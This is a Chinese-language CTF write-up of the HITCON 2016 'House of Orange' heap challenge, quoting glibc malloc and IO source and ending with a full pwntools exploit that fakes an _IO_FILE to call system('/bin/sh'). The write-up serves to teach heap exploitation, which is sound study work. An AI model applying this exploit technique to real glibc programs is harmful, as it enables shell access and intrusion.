• House of Orange


    题目附件:https://github.com/ctfs/write-ups-2016/tree/master/hitcon-ctf-2016/pwn/house-of-orange-500

    查看程序保护:

     发现保护全开,再查看IDA反编译出来的代码,在upgrade()函数中发现明显的堆溢出漏洞:

     这题的难点没有free函数,但是对溢出没有限制,且mallocsize我们可以自己控制,所以可以载top_chunk上做文章。

    利用思路:

    • 修改top_chunksize小于要分配的size,这样old_top会被放入unsorted_bin
    • malloc一个largebin大小的chunk,此chunk会从已放入unsorted_bin中的old_top切割出来,并在chunk中写入该chunk的地址,并泄漏chunk地址和libc的地址
    • 修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell

    完整的exp我会放在最后,现在我们分步来看利用过程。

    第一步:修改top_chunksize,并将其放入unsorted bin中。

    ptmalloc的堆管理机制中,首先会取各个bin中找对应大小的chunk,如果找不到,才会去从top_chunk中分割。如果top_chunk的大小也不够,此时有两个选择:

    • 如果利用申请的chunk大小小于128KB,利用brk扩展top_chunk
    • 申请的chunk大小大于128KB,利用mmap分配堆

    为了完成利用,我们需要控制分配的chunk大小小于128KB,也就是利用第一种方式分配chunk。来看看sysmalloc的部分源码:

      /* Record incoming configuration of top */
    
          old_top = av->top;
          old_size = chunksize (old_top);
          old_end = (char *) (chunk_at_offset (old_top, old_size));
    
          brk = snd_brk = (char *) (MORECORE_FAILURE);
    
      /*
         If not the first time through, we require old_size to be
         at least MINSIZE and to have prev_inuse set.
       */
    
        //前半部分是针对第一次调用此函数,top_chunk没有初始化的情况
          assert ((old_top == initial_top (av) && old_size == 0) ||
                ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) &&
                 ((unsigned long) old_end & (pagesize - 1)) == 0)); //检查top_chunk结束的的地址是否页对齐
    
      /* Precondition: not enough current space to satisfy nb request */
          assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

    我们可以发现伪造的top_chunk的size要满足一下条件:

    • size要大于MINSIZE(这个我不清楚具体的数值,但是只要不是太小都可以)
    • size的inuse位要为1
    • old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐
    • size要小于你要申请的chunk的大小

    部分利用代码如下:

    Build(0x80, 'simple', 0x1234, 0xddaa)
    payload = 'x00'*0x88 + p64(0x21) + 'x34x12x00x00xaaxddx00x00' + p64(0) + p64(0) + p64(0xf30) #伪造的的top_chunk的size为0xf30
    Upgrade(len(payload), payload, 0x1234, 0xddaa)

    第二步:申请largebin大小的chunk触发_int_free把old_top放入unsorted bin中

    部分源码:

                        if (old_size != 0)
                        {
                          /*
                             Shrink old_top to insert fenceposts, keeping size a
                             multiple of MALLOC_ALIGNMENT. We know there is at least
                             enough space in old_top to do this.
                           */
                              old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
                              set_head (old_top, old_size | PREV_INUSE);
    
                              /*
                                 Note that the following assignments completely overwrite
                                 old_top when old_size was previously MINSIZE.  This is
                                 intentional. We need the fencepost, even if old_top otherwise gets
                                 lost.
                               */
                              chunk_at_offset (old_top, old_size)->size = (2 * SIZE_SZ) | PREV_INUSE;
    
                              chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size = (2 * SIZE_SZ) | PREV_INUSE;
    
                              /* If possible, release the rest. */
                              if (old_size >= MINSIZE)
                              {
                                  _int_free (av, old_top, 1);
                              }
                        }

    可以看出最后会调用_int_free把old_top放入unsorted bin中

    部分利用脚本:

    Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
    gdb.attach(p)
    See()
    p.recvuntil('Name of house : AAAAAAAA')
    libc_base = u64(p.recv(6).ljust(8, 'x00')) - 0x3c5188
    info("libc_base ==> " + hex(libc_base))
    
    payload = 'A'*16
    Upgrade(len(payload), payload, 0x1234, 0xddaa)
    See()
    p.recvuntil('A'*16)
    chunk_addr = u64(p.recv(6).ljust(8, 'x00'))
    info("chunk_addr ==> " + hex(chunk_addr))

    第三步:修改利用unsorted bin attack修改_IO_list_all中的值,并伪造一个_IO_FILE,最终getshell

    这一部分要用到文件IO的知识。主要函数调用过程为:malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow

    先利用unsored bin attack修改__IO_list_all中的值为main_arena + 88,在修改fd时同时修改unosrted bin chunk的大小为0x60。之所以是0x60,是为了让chunk的地址刚好落在chain的位置上。

    在malloc时unsorted chunk会被放入small bin中。来看看_IO_flush_all_lockp的部分源码:

              if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
                   || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                        > fp->_wide_data->_IO_write_base))
    #endif
                   )
              && _IO_OVERFLOW (fp, EOF) == EOF) //要想执行_IO_OVERFLOW必须满足逻辑与符号前面的条件为真

    绕过检查,上述条件,最终exp如下:

    from pwn import *
    context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    p = process('./houseoforange')
    elf = ELF('houseoforange')
    libc = elf.libc
    
    def Build(length, name, price, color):
        p.sendlineafter('Your choice : ', '1')
        p.sendlineafter('Length of name :', str(length))
        p.sendafter('Name :', name)
        p.sendlineafter('Price of Orange:', str(price))
        p.sendlineafter('Color of Orange:', str(color))
        
    def See():
        p.sendlineafter('Your choice : ', '2')
    
    def Upgrade(length, name, price, color):
        p.sendlineafter('Your choice : ', '3')
        p.sendlineafter('Length of name :', str(length))
        p.sendafter('Name:', name)
        p.sendlineafter('Price of Orange: ', str(price))
        p.sendlineafter('Color of Orange: ', str(color))
    
    Build(0x80, 'simple', 0x1234, 0xddaa)
    payload = 'x00'*0x88 + p64(0x21) + 'x34x12x00x00xaaxddx00x00' + p64(0) + p64(0) + p64(0xf30) #伪造的的top_chunk的size为0xf30
    Upgrade(len(payload), payload, 0x1234, 0xddaa)
    Build(0x1000, 'AAAAAAAA', 0x1234, 0xddaa)
    Build(0x400, 'AAAAAAAA', 0x1234, 0xddaa) #申请大小属于largebin的chunk
    gdb.attach(p)
    See()
    p.recvuntil('Name of house : AAAAAAAA')
    libc_base = u64(p.recv(6).ljust(8, 'x00')) - 0x3c5188
    info("libc_base ==> " + hex(libc_base))
    
    payload = 'A'*16
    Upgrade(len(payload), payload, 0x1234, 0xddaa)
    See()
    p.recvuntil('A'*16)
    chunk_addr = u64(p.recv(6).ljust(8, 'x00'))
    info("chunk_addr ==> " + hex(chunk_addr))
    
    _IO_list_all = libc.symbols['_IO_list_all'] + libc_base
    system = libc.symbols['system'] + libc_base
    info('-------------------------unsorted bin and build fake file-----------------')
    
    vtable = chunk_addr + 0x510
    payload  = 'x00'*0x400 + p64(0) + p64(0x21) + 'x34x12x00x00xaaxddx00x00' + p64(0)
    payload += '/bin/shx00' + p64(0x60) + p64(0) + p64(_IO_list_all-0x10) + 'x00'*8 + p64(1) + 'x00'*0xa8 + p64(vtable)
    payload += 'x00'*0x18 + p64(system)
    Upgrade(len(payload), payload, 0x1234, 0xddaa)
    
    p.sendlineafter('Your choice : ', '1')
    
    p.interactive()
  • 相关阅读:
    BZOJ 3744 Gty的妹子序列
    BZOJ 3872 Ant colony
    BZOJ 1087 互不侵犯
    BZOJ 1070 修车
    BZOJ 2654 tree
    BZOJ 3243 向量内积
    1003 NOIP 模拟赛Day2 城市建设
    CF865D Buy Low Sell High
    CF444A DZY Loves Physics
    Luogu 4310 绝世好题
  • 原文地址:https://www.cnblogs.com/countfatcode/p/12461399.html
Copyright © 2020-2023  润新知